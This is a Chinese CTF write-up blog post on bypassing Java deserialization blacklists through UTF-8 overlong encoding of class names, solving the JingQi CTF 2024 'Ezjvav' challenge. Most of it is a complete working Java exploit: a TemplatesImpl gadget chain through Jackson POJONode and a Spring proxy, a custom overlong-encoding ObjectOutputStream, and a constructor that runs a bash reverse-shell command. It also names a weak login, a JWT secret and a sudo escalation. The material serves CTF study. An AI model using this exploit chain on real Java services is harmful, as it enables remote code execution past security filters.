UTF-8 Overlong Encoding Bypass

前言

UTF-8 Overlong Encoding一种绕过黑名单的手段,之前打题遇到过两次,这次小小总结一下。

JYso/src/main/java/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java at master · qi4L/JYso (github.com)

一次是在京麒CTF里用这个方法打出过一道,还有一道是最近的巅峰极客JDK17+CC链的绕过。

P牛介绍了UTF-8编码方式以及Overlong Encoding的攻击:UTF-8 Overlong Encoding导致的安全问题 | 离别歌 (leavesongs.com),在此我不再多说。

可以通过javassist来对writeUTF函数进行修改,插桩在agent处:java反序列化通过java agent实现utf-8 Overlong Encoding - 先知社区 (aliyun.com)

这里还是结合题目来讲,因为这算一个Bypass的技巧,光讲理论肯定不够。

京麒CTF2024-Ezjvav

分析

admin/admin弱密码登录,

扫网页发现/js/manage.js,访问得到js混淆代码,直接gpt梭:

1
2
3
4
5
6
7
8
window.onload = function() {
fetch('/source')
.then(response => response.json())
.then(data => {
console.log(data);
})
.catch(error => console.error('Error:', error));
};

意思就是跳转/source读源码出来。

但是有个jwt验证,其实密钥就是jsrc,然后带cookie访问/source得到附件,直接down下来分析。

blacklist:

1
2
3
4
5
6
7
8
9
10
String[] s = new String[]{"java.util.HashMap",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"com.alibaba.fastjson.JSONArrayLlist"};

----------------------------------------------------------------------------------------------------

blackList.add("javax.management.BadAttributeValueExpException");
blackList.add("com.sun.syndication.feed.impl.ToStringBean");
blackList.add("java.security.SignedObject");
blackList.add("com.sun.rowset.JdbcRowSetImpl");

rome链子的一些被ban了,可以看到二次反序列化用的SignedObject也被ban了。

依赖如下,有fj,rome,spring:

image-20240822162719499

但这道题只要使用UTF-8 Overlong Encoding就可以绕过这个blacklist。

sink点很好找:

image-20240822163252420

代码逻辑可见两层waf,第一个是他自定义的MyObjectInputStream,还有一个Compared()函数的检测。

MyObjectInputStream的blacklist上面就讲了。

image-20240822163401930

Compared()函数的blacklist:

image-20240822163418863

也就是说一个是明文流量层面的检测,一个是反序列化过程的检测,前者可以自定义输出流改写序列化数据绕过,也就是UTF8那玩意。Docs (feishu.cn)

因为依赖有spring的缘故,我们还可以想到Jackson的一个原生反序列化链:

1
2
3
EventListenerList.readObject -> 
POJONode.toString ->
TemplatesImpl.getOutputProperties

Jackson原生反序列化

处理Jackson链子不稳定性

又因为有fj依赖,所以还能打fastjson的原生反序列化:

1
2
3
4
5
6
7
HashMap.readObject ->
HashMap.putVal ->
HotSwappableTargetSource.equals ->
XString.equals ->
JSONArray.toString ->
JSONArray#toJSONString ->
TemplatesImpl.getOutputProperties

EXP

Bypass的方法就是直接用UTF8 Overlong Encoding重写一个ObjectOutputStream,用Jackson链稍微改改就有了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
package com.eddiemurphy;

import com.example.jsrc.func.ByteCompare;
import com.example.jsrc.func.MyObjectInputStream;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;

//最通用的办法
public class Exp {
public static void main(String[] args) throws Exception {

ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", null);

Object proxy = getProxy(templatesImpl, Templates.class);

Object exp = getXstringMap(proxy);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
UTF8OverlongObjectOutputStream o = new UTF8OverlongObjectOutputStream(byteArrayOutputStream);
o.writeObject(exp);
String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(payload);

}

public static Object getProxy(Object obj,Class<?> clazz) throws Exception
{
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(obj);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
return proxy;
}

public static Object getXstringMap(Object obj) throws Exception
{
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
POJONode node = new POJONode(obj);

XString xString = new XString("test");

HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("yy", node);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node);
Object o = makeMap(map1, map2);

return o;
}

public static HashMap makeMap(Object v1, Object v2) throws Exception
{
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
{
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
static class UTF8OverlongObjectOutputStream extends ObjectOutputStream {
public HashMap<Character, int[]> map = new HashMap<Character, int[]>() {{
put('.', new int[]{0xc0, 0xae});
put(';', new int[]{0xc0, 0xbb});
put('$', new int[]{0xc0, 0xa4});
put('[', new int[]{0xc1, 0x9b});
put(']', new int[]{0xc1, 0x9d});
put('a', new int[]{0xc1, 0xa1});
put('b', new int[]{0xc1, 0xa2});
put('c', new int[]{0xc1, 0xa3});
put('d', new int[]{0xc1, 0xa4});
put('e', new int[]{0xc1, 0xa5});
put('f', new int[]{0xc1, 0xa6});
put('g', new int[]{0xc1, 0xa7});
put('h', new int[]{0xc1, 0xa8});
put('i', new int[]{0xc1, 0xa9});
put('j', new int[]{0xc1, 0xaa});
put('k', new int[]{0xc1, 0xab});
put('l', new int[]{0xc1, 0xac});
put('m', new int[]{0xc1, 0xad});
put('n', new int[]{0xc1, 0xae});
put('o', new int[]{0xc1, 0xaf}); // 0x6f
put('p', new int[]{0xc1, 0xb0});
put('q', new int[]{0xc1, 0xb1});
put('r', new int[]{0xc1, 0xb2});
put('s', new int[]{0xc1, 0xb3});
put('t', new int[]{0xc1, 0xb4});
put('u', new int[]{0xc1, 0xb5});
put('v', new int[]{0xc1, 0xb6});
put('w', new int[]{0xc1, 0xb7});
put('x', new int[]{0xc1, 0xb8});
put('y', new int[]{0xc1, 0xb9});
put('z', new int[]{0xc1, 0xba});
put('A', new int[]{0xc1, 0x81});
put('B', new int[]{0xc1, 0x82});
put('C', new int[]{0xc1, 0x83});
put('D', new int[]{0xc1, 0x84});
put('E', new int[]{0xc1, 0x85});
put('F', new int[]{0xc1, 0x86});
put('G', new int[]{0xc1, 0x87});
put('H', new int[]{0xc1, 0x88});
put('I', new int[]{0xc1, 0x89});
put('J', new int[]{0xc1, 0x8a});
put('K', new int[]{0xc1, 0x8b});
put('L', new int[]{0xc1, 0x8c});
put('M', new int[]{0xc1, 0x8d});
put('N', new int[]{0xc1, 0x8e});
put('O', new int[]{0xc1, 0x8f});
put('P', new int[]{0xc1, 0x90});
put('Q', new int[]{0xc1, 0x91});
put('R', new int[]{0xc1, 0x92});
put('S', new int[]{0xc1, 0x93});
put('T', new int[]{0xc1, 0x94});
put('U', new int[]{0xc1, 0x95});
put('V', new int[]{0xc1, 0x96});
put('W', new int[]{0xc1, 0x97});
put('X', new int[]{0xc1, 0x98});
put('Y', new int[]{0xc1, 0x99});
put('Z', new int[]{0xc1, 0x9a});
}};

public UTF8OverlongObjectOutputStream(OutputStream out) throws IOException {
super(out);
}

@Override
protected void writeClassDescriptor(ObjectStreamClass desc) {
try {
String name = desc.getName();
// writeUTF(desc.getName());
writeShort(name.length() * 2);
for (int i = 0; i < name.length(); i++) {
char s = name.charAt(i);
// System.out.println(s);
write(map.get(s)[0]);
write(map.get(s)[1]);
}
writeLong(desc.getSerialVersionUID());
byte flags = 0;
if ((Boolean) getFieldValue(desc, "externalizable")) {
flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
protocolField.setAccessible(true);
int protocol = (Integer) protocolField.get(this);
if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
flags |= ObjectStreamConstants.SC_BLOCK_DATA;
}
} else if ((Boolean) getFieldValue(desc, "serializable")) {
flags |= ObjectStreamConstants.SC_SERIALIZABLE;
}
if ((Boolean) getFieldValue(desc, "hasWriteObjectData")) {
flags |= ObjectStreamConstants.SC_WRITE_METHOD;
}
if ((Boolean) getFieldValue(desc, "isEnum")) {
flags |= ObjectStreamConstants.SC_ENUM;
}
writeByte(flags);
ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
writeShort(fields.length);
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];
writeByte(f.getTypeCode());
writeUTF(f.getName());
if (!f.isPrimitive()) {
Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class);
writeTypeString.setAccessible(true);
writeTypeString.invoke(this, f.getTypeString());
// writeTypeString(f.getTypeString());
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}

suid提权发现sudo可用,且设置的NOPASSWD,直接交了:

image-20240822164657573

fj链和内存马打法:【Web】2024 京麒CTF ezjvav题解_京麟ctf webwp-CSDN博客

Hessian中其实也有这个问题,详见X1师傅的文章Hessian UTF-8 Overlong Encoding - X1r0z Blog (exp10it.io)

参考链接见文中。


UTF-8 Overlong Encoding Bypass
https://eddiemurphy89.github.io/2024/08/22/Overlong-Encoding-utf-8-Bypass/
作者
EddieMurphy
发布于
2024年8月22日
许可协议